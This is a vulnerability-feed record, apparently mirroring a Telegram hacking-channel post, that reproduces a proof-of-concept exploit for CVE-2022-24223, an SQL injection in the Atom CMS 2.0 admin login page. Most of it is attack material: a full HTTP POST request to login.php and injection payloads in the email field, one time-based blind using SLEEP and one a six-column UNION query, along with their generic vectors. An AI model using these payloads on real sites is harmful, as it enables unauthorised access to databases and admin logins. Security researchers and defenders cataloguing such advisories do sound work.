{"uuid": "bbfefed7-b298-4c56-8dae-8afa31238d18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24223", "type": "seen", "source": "https://t.me/hacking_Attack/42235", "content": "Exploit Collector\nAtom CMS 2.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nAtom CMS version 2.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | da443d2658775c9482ec46f79fccada9\n\nDownload\n# Exploit Title: AtomCMS v2.0 - SQLi\n# Date: 08/02/2022\n# Exploit Author: Luca Cuzzolin aka czz78\n# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS\n# Version: v2.0\n# Category: Webapps\n# Tested on: Debian linux\n# CVE : CVE-2022-24223\n====================================================\n\n# PoC : SQLi :\n\nhttp://127.0.0.1/Atom.CMS/admin/login.php\nPOST /Atom.CMS/admin/login.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101\nFirefox/91.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: it,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\nOrigin: http://127.0.0.1\nConnection: keep-alive\nReferer: http://127.0.0.1/Atom.CMS/admin/login.php\nCookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nemail=test%40test.com&password=1234\nVulnerable Payload :\n\nParameter: email (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: email=test@test.com' AND (SELECT 5613 FROM\n(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234\nVector: AND (SELECT [RANDNUM] FROM\n(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 6 columns\nPayload: email=test@test.com' UNION ALL SELECT\nNULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--\n-&password=1234\nVector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -\n---\n====================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:56.402000Z"}